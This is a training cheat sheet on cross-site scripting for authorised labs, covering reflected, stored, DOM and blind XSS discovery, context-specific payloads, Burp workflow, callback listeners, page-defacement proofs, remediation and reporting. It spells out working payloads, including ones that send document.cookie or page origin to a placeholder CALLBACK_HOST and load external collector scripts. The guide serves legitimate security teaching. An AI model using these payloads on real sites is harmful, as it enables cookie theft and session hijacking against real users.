xss.md (21643B)
1 --- 2 title: "Cross-Site Scripting (XSS)" 3 description: "Reflected/stored/DOM XSS discovery, payloads, filter bypass and blind-XSS callbacks." 4 category: web 5 tags: [web, xss, injection] 6 tools: [Burp Suite] 7 difficulty: intermediate 8 updated: "2026-08-09" 9 source: "vault:Web/Cross-Site Scripting (XSS) - HTB Cheat Sheet.md" 10 --- 11 12 # Cross-Site Scripting (XSS) 13 14 ## Summary 15 16 Cross-site scripting occurs when attacker-controlled data reaches a browser parsing context without the correct validation, encoding, or sanitisation. The reliable workflow is to locate every input, insert a unique inert marker, identify where and how it is rendered, and only then select a context-matched execution proof. Start with `console.log()` or a visible DOM marker, escalate only as far as the lab objective requires, and capture the exact request, response, execution context, and affected user role. 17 18 > **Danger — Authorization Boundary** 19 > 1. Use these procedures only in Hack The Box, intentionally vulnerable training applications, or systems you own and are explicitly authorised to test. 20 > 2. Blind-XSS callbacks may collect page data or cookies. Use unique lab-only infrastructure and delete captured data when the exercise ends. 21 > 3. The page-control demonstration below is temporary and browser-side. Do not use XSS to damage content, persist changes, or disrupt real users. 22 > 4. XSS executes in a browser. It does not inherently provide an operating-system reverse shell. 23 24 --- 25 26 ## Conceptual Information 27 28 ### XSS Types 29 30 | Type | Data path | When execution occurs | First place to inspect | 31 |---|---|---|---| 32 | **Reflected XSS** | Current request → immediate response | A crafted request or link is rendered | Query parameters, POST fields, headers, error messages | 33 | **Stored XSS** | Input → database/log/cache → later response | Another page or user renders the stored value | Comments, profiles, tickets, filenames, audit logs | 34 | **DOM-based XSS** | Browser-controlled source → unsafe JavaScript sink | Client-side code processes the source | URL fragment, query string, `postMessage`, storage, DOM | 35 | **Blind XSS** | Stored input → unseen privileged interface | A support agent, administrator, or background browser renders it | Support forms, admin tables, logs, exports, moderation queues | 36 37 > **Info — Source, Transform and Sink** 38 > 1. **Source**: Where attacker-controlled data enters, such as `location.search`, `location.hash`, `document.referrer`, form fields, headers, or stored records. 39 > 2. **Transform**: Decoding, filtering, template rendering, concatenation, or sanitisation applied before use. 40 > 3. **Sink**: Where the value is interpreted, such as `innerHTML`, `outerHTML`, `document.write`, `insertAdjacentHTML`, `eval`, string-based `setTimeout`, or a dynamic script URL. 41 > 4. A payload is useful only when it matches the parser and sink that ultimately consume the data. 42 43 ### Fast Attack Flow 44 45 1. **Map inputs** across URL parameters, paths, form fields, JSON, headers, cookies, file metadata, and WebSocket messages. 46 2. **Insert a unique marker**, such as `xss7q9`, without punctuation. 47 3. **Find every reflection or stored rendering** in the raw response and the live DOM. 48 4. **Identify the context** and the characters that are encoded, removed, normalised, or blocked. 49 5. **Prove execution harmlessly** with `console.log('xss7q9')` or a lab alert. 50 6. **Validate the affected role and persistence**, especially for stored or blind XSS. 51 7. **Demonstrate only the minimum required impact** for the objective. 52 8. **Record evidence and remediation** before removing the test value. 53 54 --- 55 56 ## Tools Overview 57 58 > **Info — Burp Suite** 59 > 1. Intercepts browser requests and exposes every parameter, header, and body value. 60 > 2. Repeater supports controlled, one-change-at-a-time payload testing. 61 > 3. DOM Invader helps trace browser sources and sinks in client-side code. 62 63 > **Info — Browser Developer Tools** 64 > 1. Elements shows the parsed DOM, which can differ from raw response HTML. 65 > 2. Sources and breakpoints reveal client-side transforms and dangerous sinks. 66 > 3. Console provides a low-impact execution proof and displays CSP or syntax errors. 67 68 > **Info — XSS Hunter Express** 69 > 1. Purpose-built blind-XSS collector with page context, screenshots, and callback metadata. 70 > 2. Best when an unseen administrator or support panel renders stored input. 71 72 > **Info — ezXSS** 73 > 1. Self-hosted blind-XSS platform with payload, notification, and report controls. 74 > 2. Useful when you want strict lab allowlisting and flexible report handling. 75 76 > **Info — Interactsh** 77 > 1. Lightweight out-of-band interaction service for DNS, HTTP, SMTP, and other callbacks. 78 > 2. Confirms that an injected resource was resolved or requested, but does not provide a full browser screenshot or DOM report. 79 80 --- 81 82 ## Commands and Implementation 83 84 ### 1. Establish the Reflection Context 85 86 Send a unique marker through each input and search both the response and the live DOM. 87 88 ```http 89 GET /search?q=xss7q9 HTTP/1.1 90 Host: target.htb 91 User-Agent: Mozilla/5.0 92 Accept: text/html 93 Connection: close 94 ``` 95 96 > **Info — Request Breakdown** 97 > 1. `xss7q9`: A unique inert marker that is easy to search and unlikely to collide with page content. 98 > 2. Raw response: Reveals server-side placement and encoding. 99 > 3. Live DOM: Reveals browser repair, client-side rendering, and DOM-only reflections. 100 > 4. Repeat the test in headers such as `User-Agent`, `Referer`, `X-Forwarded-For`, and application-specific metadata when the target contains an admin log viewer. 101 102 ### 2. Context Identification Matrix 103 104 | Observed rendering | Context | Characters to test individually | Harmless execution proof | 105 |---|---|---|---| 106 | `<div>xss7q9</div>` | HTML text | `< >` | `<img src=x onerror=console.log('xss7q9')>` | 107 | `<input value="xss7q9">` | Double-quoted attribute | `" < >` | `"><img src=x onerror=console.log('xss7q9')>` | 108 | `<input value='xss7q9'>` | Single-quoted attribute | `' < >` | `'><img src=x onerror=console.log('xss7q9')>` | 109 | `<input value=xss7q9>` | Unquoted attribute | space, tab, `>` | `x autofocus onfocus=console.log('xss7q9')` | 110 | `<script>let q='xss7q9'</script>` | JavaScript string | `' " \ ;` | `';console.log('xss7q9');//` | 111 | `` <script>let q=`xss7q9`</script> `` | JavaScript template literal | `` ` ${ } `` | `${console.log('xss7q9')}` | 112 | `<a href="xss7q9">` | URL-bearing attribute | `: / " '` | `javascript:console.log('xss7q9')` when the lab requires a click | 113 | `element.innerHTML = source` | DOM HTML sink | Source-dependent | `<img src=x onerror=console.log('xss7q9')>` | 114 115 > **Warning — Payload Selection Rule** 116 > 1. Copying random payloads wastes time because each browser parser has different termination rules. 117 > 2. Test one character at a time and inspect the resulting HTML or JavaScript before adding an event handler. 118 > 3. Prefer `console.log()` for initial proof; use `alert()` only when the lab or report specifically expects a visible dialog. 119 120 ### 3. Progressive Payload Ladder 121 122 | Stage | Input | What it proves | 123 |---|---|---| 124 | Marker | `xss7q9` | Data reaches the page | 125 | Metacharacters | `xss7q9<>'"&` | Which characters survive and how they are encoded | 126 | HTML injection | `<b id=xss7q9>probe</b>` | The browser creates attacker-controlled markup | 127 | Event execution | `<img src=x onerror=console.log('xss7q9')>` | JavaScript executes without user interaction | 128 | Visible lab proof | `<img src=x onerror=alert(document.domain)>` | Execution occurs in the target origin | 129 | Callback proof | `<img src=x onerror="new Image().src='http://CALLBACK_HOST:8000/xss?o='+encodeURIComponent(location.origin)">` | The browser can reach the controlled listener | 130 131 ### 4. Burp Suite Workflow 132 133 1. Configure the browser to proxy through `127.0.0.1:8080`. 134 2. Capture the request containing the candidate input. 135 3. Send it to **Repeater** with `Ctrl+R`. 136 4. Insert `xss7q9`, send the request, and search the response. 137 5. Add metacharacters one at a time and compare the response using Burp's comparer or Repeater history. 138 6. Test the smallest payload that matches the observed context. 139 7. For stored XSS, locate every page and role that later renders the stored value. 140 8. For DOM XSS, enable **DOM Invader**, reload the page, and inspect reported sources and sinks. 141 9. Save the final request and response as evidence. 142 143 > **Tip — Encoding the Request Correctly** 144 > 1. URL-encode payloads placed in query strings or form-encoded bodies. 145 > 2. Preserve JSON quoting and escaping when testing an API body. 146 > 3. Burp's Inspector can apply or remove URL encoding without changing unrelated request bytes. 147 148 ### 5. DOM XSS Triage 149 150 Search downloaded JavaScript for common sources and sinks: 151 152 ```bash 153 rg -n 'location\.(hash|search|href)|document\.(URL|referrer|cookie)|postMessage|localStorage|sessionStorage|innerHTML|outerHTML|insertAdjacentHTML|document\.write|eval\(|setTimeout\(|setInterval\(' ./js 154 ``` 155 156 > **Info — Command Breakdown** 157 > 1. Sources: `location`, `document.URL`, `document.referrer`, messages, and browser storage may contain attacker-controlled data. 158 > 2. HTML sinks: `innerHTML`, `outerHTML`, `insertAdjacentHTML`, and `document.write` can interpret markup. 159 > 3. Execution sinks: `eval` and string-based timers can interpret JavaScript. 160 > 4. Trace the value from source through every transform to the sink; a source or sink alone is not proof of exploitability. 161 162 ### 6. Stored and Blind-XSS Injection Map 163 164 | Location | Why it becomes blind | Suggested unique label | 165 |---|---|---| 166 | Support/contact ticket | Only staff render the message | `ticket-USER-TIMESTAMP` | 167 | Display name/profile fields | Admin user lists may render it later | `profile-USER-TIMESTAMP` | 168 | `User-Agent` or `Referer` | Internal analytics or logs display headers | `ua-USER-TIMESTAMP` | 169 | `X-Forwarded-For` | Proxy logs or dashboards may trust the value | `xff-USER-TIMESTAMP` | 170 | Order, address, or invoice fields | Back-office workflows render stored records | `order-USER-TIMESTAMP` | 171 | Filename or uploaded metadata | File-management panels display names | `file-USER-TIMESTAMP` | 172 | CSV/PDF/export values | A privileged renderer processes them asynchronously | `export-USER-TIMESTAMP` | 173 174 > **Important — Blind Test Discipline** 175 > 1. Generate a different callback path or subdomain for every field. 176 > 2. Record the request, account, role, time, and unique correlation label. 177 > 3. Begin with a resource request that collects no sensitive page data. 178 > 4. Escalate to DOM or cookie evidence only when the objective requires it. 179 180 ### 7. Start a Simple HTTP Callback Listener 181 182 Use a normal HTTP server when possible because it returns valid responses and records repeat requests cleanly. 183 184 ```bash 185 mkdir -p xss-callback 186 cd xss-callback 187 python3 -m http.server 8000 --bind 0.0.0.0 188 # Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 189 ``` 190 191 > **Info — Command Breakdown** 192 > 1. `8000`: The callback port; expose it only where the target browser can reach it. 193 > 2. `--bind 0.0.0.0`: Listens on all local interfaces, including the VPN interface. 194 > 3. Expected log: A successful callback appears as a request such as `GET /xss?o=http%3A...`. 195 > 4. If the target page uses HTTPS, an HTTP callback may be blocked as mixed content; use a trusted HTTPS collector instead. 196 197 ### 8. Observe a Raw HTTP Request with Netcat 198 199 ```bash 200 nc -lvnp 8000 201 # listening on [any] 8000 ... 202 # connect to [CALLBACK_IP] from (UNKNOWN) [LAB_BROWSER_IP] 49152 203 # GET /xss7q9 HTTP/1.1 204 # Host: CALLBACK_HOST:8000 205 # Connection: keep-alive 206 ``` 207 208 > **Info — Netcat Breakdown** 209 > 1. `-l`: Listen mode. 210 > 2. `-v`: Verbose connection information. 211 > 3. `-n`: Avoid DNS lookups. 212 > 4. `-p 8000`: Listen on port `8000`. 213 > 5. This confirms an HTTP connection from the browser. It is not an interactive shell and does not execute operating-system commands. 214 215 > **Tip — Return a Valid Response** 216 > 1. Netcat may leave the browser waiting because it does not automatically send an HTTP response. 217 > 2. For repeatable tests, prefer `python3 -m http.server`, Interactsh, XSS Hunter, or ezXSS. 218 219 ### 9. Lab Callback Payloads 220 221 Replace `CALLBACK_HOST` and the correlation path before submitting. 222 223 ```html 224 <!-- Minimal resource callback: confirms HTML parsing and outbound reachability --> 225 <img src="https://CALLBACK_HOST/profile-USER-TIMESTAMP"> 226 227 <!-- JavaScript callback: confirms script execution and reports only the origin --> 228 <img src=x onerror="new Image().src='https://CALLBACK_HOST/xss?origin='+encodeURIComponent(location.origin)"> 229 230 <!-- Lab-only cookie demonstration: HttpOnly cookies will not appear --> 231 <img src=x onerror="new Image().src='https://CALLBACK_HOST/lab-cookie?c='+encodeURIComponent(document.cookie)"> 232 233 <!-- External collector script supplied by XSS Hunter or ezXSS --> 234 <script src="https://CALLBACK_HOST/GENERATED_PROBE_PATH"></script> 235 ``` 236 237 > **Warning — Callback Data Handling** 238 > 1. A plain `<img src>` proves resource loading but not necessarily JavaScript execution. 239 > 2. A JavaScript-created request proves execution but may be limited by CSP or mixed-content rules. 240 > 3. `document.cookie` excludes cookies marked `HttpOnly`; an empty value does not disprove XSS. 241 > 4. Query strings are stored in shell history, proxy logs, and collector logs. Keep all values lab-only and delete them after use. 242 243 ### 10. Reversible Page-Control Proof 244 245 Use a temporary banner rather than changing server data. 246 247 ```html 248 <img src=x onerror="document.body.insertAdjacentHTML('afterbegin','<div id=xss-lab-proof style=\"position:fixed;z-index:2147483647;inset:0 0 auto 0;background:#b00;color:#fff;padding:18px;text-align:center;font:700 20px sans-serif\">XSS LAB PROOF — refresh to remove</div>');this.remove()"> 249 ``` 250 251 > **Success — What This Demonstrates** 252 > 1. The injected script can alter the page presented to the affected browser. 253 > 2. The change exists only in the current DOM and disappears on refresh unless the payload itself is stored. 254 > 3. Capture a screenshot, the triggering request, and the affected role; do not replace or destroy application data. 255 256 For a lab that explicitly asks for full-page visual control: 257 258 ```html 259 <img src=x onerror="document.body.innerHTML='<main style=\"font:700 4vw sans-serif;text-align:center;padding:20vh 2rem\">XSS LAB PROOF<br><small>Refresh to restore the page</small></main>'"> 260 ``` 261 262 > **Danger — Full-Page Proof Boundary** 263 > 1. Use this only when the objective specifically requires a page-replacement proof. 264 > 2. It changes the current browser DOM, not the underlying server files. 265 > 3. Prefer the banner proof because it preserves the page and produces clearer evidence. 266 267 --- 268 269 ## What to Watch Out For 270 271 ### Browser and Application Controls 272 273 | Control or symptom | What it means | Next diagnostic step | 274 |---|---|---| 275 | `<` becomes `<` | HTML encoding is active in that context | Check other contexts and later DOM transformations | 276 | Quotes are encoded | Attribute or string breakout may be blocked | Inspect unquoted attributes, URLs, or DOM sinks | 277 | Payload appears in source but not DOM | Parser repair or client-side rendering changed it | Compare View Source with Elements | 278 | Payload appears in DOM but does not execute | Wrong event, inert element, CSP, or sanitiser | Check Console, CSP headers, and event conditions | 279 | External script is blocked | `script-src` or mixed-content policy prevented loading | Use an allowed HTTPS origin or a non-script execution proof | 280 | `document.cookie` is empty | Cookies may be `HttpOnly`, absent, or path-scoped | Inspect browser storage and cookie attributes | 281 | Callback receives DNS only | Name resolution occurred, but HTTP may be blocked | Test a simple HTTPS image request and inspect CSP/network logs | 282 | Callback fires repeatedly | Stored value is rendered by multiple views or refresh jobs | Correlate unique path, timestamps, user agents, and referrers | 283 | Alert works but external fetch fails | XSS is valid; outbound controls differ | Document execution separately from egress limitations | 284 285 ### Common Dangerous Sources and Sinks 286 287 | Category | Examples | 288 |---|---| 289 | URL sources | `location.href`, `location.search`, `location.hash`, `document.URL` | 290 | Cross-window sources | `postMessage`, `window.name` | 291 | Storage sources | `localStorage`, `sessionStorage`, IndexedDB values | 292 | HTML sinks | `innerHTML`, `outerHTML`, `insertAdjacentHTML`, `document.write` | 293 | JavaScript sinks | `eval`, `Function`, string-based `setTimeout` and `setInterval` | 294 | URL/navigation sinks | `location`, `open`, dynamic `script.src`, unsafe `href` values | 295 | Framework escape hatches | React `dangerouslySetInnerHTML`, Angular trust bypasses, Vue `v-html`, Lit `unsafeHTML` | 296 297 --- 298 299 ## Troubleshooting 300 301 > **Failure — The Marker Is Not Reflected** 302 > 1. Check the complete response, redirects, JSON, and asynchronously loaded API calls. 303 > 2. Submit the value and revisit account, administration, export, notification, and audit pages. 304 > 3. Test alternate content types and headers visible to back-office tooling. 305 > 4. Use a unique blind-XSS correlation label and wait for the target's scheduled action. 306 307 > **Failure — HTML Is Injected but JavaScript Does Not Run** 308 > 1. Confirm the element and event exist in the parsed DOM. 309 > 2. Open the Console for CSP, Trusted Types, mixed-content, and syntax errors. 310 > 3. Determine whether a sanitiser removed event attributes or changed the element. 311 > 4. Test `console.log()` in the exact context instead of adding more payload complexity. 312 313 > **Failure — Blind Callback Never Arrives** 314 > 1. Open the generated callback URL yourself to verify DNS, TLS, routing, and collector logs. 315 > 2. Ensure the target can route to the callback host and that the listener is on the VPN-reachable interface. 316 > 3. Use HTTPS for an HTTPS target to avoid mixed-content blocking. 317 > 4. Confirm the stored field is actually rendered by another user or asynchronous process. 318 > 5. Try a unique `<img src>` callback before an external `<script src>` probe. 319 320 --- 321 322 ## Remediation 323 324 1. **Encode for the output context**: HTML, HTML attribute, JavaScript, CSS, and URL contexts require different encoders. 325 2. **Use safe sinks**: Prefer `textContent`, `createTextNode`, hard-coded safe attributes, and framework templating over raw HTML insertion. 326 3. **Sanitise intentional HTML**: Use a maintained allowlist sanitiser such as DOMPurify and do not mutate the result afterward. 327 4. **Validate URLs**: Allowlist expected schemes and origins; reject `javascript:` and unsafe `data:` URLs. 328 5. **Remove dangerous execution**: Avoid `eval`, `Function`, string timers, `document.write`, and unnecessary framework escape hatches. 329 6. **Deploy CSP as defence in depth**: Use nonces or hashes, avoid `unsafe-inline`, and restrict script origins. 330 7. **Enable Trusted Types where supported**: Enforce vetted policies for dangerous DOM sinks. 331 8. **Harden cookies**: Use `HttpOnly`, `Secure`, and appropriate `SameSite` values to reduce impact; cookie flags do not fix XSS. 332 9. **Test every rendering path**: The same stored value may appear safely in one view and unsafely in an administrator or export view. 333 334 --- 335 336 ## Evidence and Reporting Checklist 337 338 1. Record the vulnerable URL, method, parameter/header, account, and affected role. 339 2. Save the original request and the response or storage action. 340 3. State the exact output context, encoding, source, transform, and sink. 341 4. Include the smallest reliable proof payload. 342 5. Capture the Console, DOM, screenshot, and callback metadata where applicable. 343 6. Distinguish reflected, stored, DOM-based, and blind behaviour. 344 7. Describe realistic impact without claiming access that was not demonstrated. 345 8. Provide context-specific remediation and retest evidence. 346 9. Remove stored test values and delete callback data after the exercise. 347 348 --- 349 350 ## Lessons Learned 351 352 1. **Context beats payload volume**: A short payload designed for the observed parser is more reliable than a large generic list. 353 2. **The live DOM is evidence**: Browser parsing and client-side code can create or remove exploitability after the server response arrives. 354 3. **Blind XSS needs correlation**: Unique callback identifiers connect an unseen execution to the exact field and submission. 355 4. **Execution and impact are separate claims**: A callback proves browser code execution; cookie access, privileged actions, and OS access require separate evidence. 356 5. **Defences must be layered**: Contextual encoding and safe sinks address the root cause; sanitisation, CSP, Trusted Types, and cookie flags reduce remaining risk. 357 358 --- 359 360 ## References 361 362 1. [OWASP Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) 363 2. [OWASP Web Security Testing Guide — Stored XSS](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting) 364 3. [PortSwigger Web Security Academy — Cross-site scripting](https://portswigger.net/web-security/cross-site-scripting) 365 4. [PortSwigger — Cross-site scripting contexts](https://portswigger.net/web-security/cross-site-scripting/contexts) 366 5. [PortSwigger Burp Suite — Testing for XSS](https://portswigger.net/burp/documentation/desktop/testing-workflow/vulnerabilities/input-validation/xss) 367 6. [MDN — Content-Security-Policy `script-src`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src) 368 7. [XSS Hunter Express](https://github.com/mandatoryprogrammer/xsshunter-express) 369 8. [ezXSS](https://github.com/ssl/ezXSS) 370 9. [Interactsh](https://github.com/projectdiscovery/interactsh)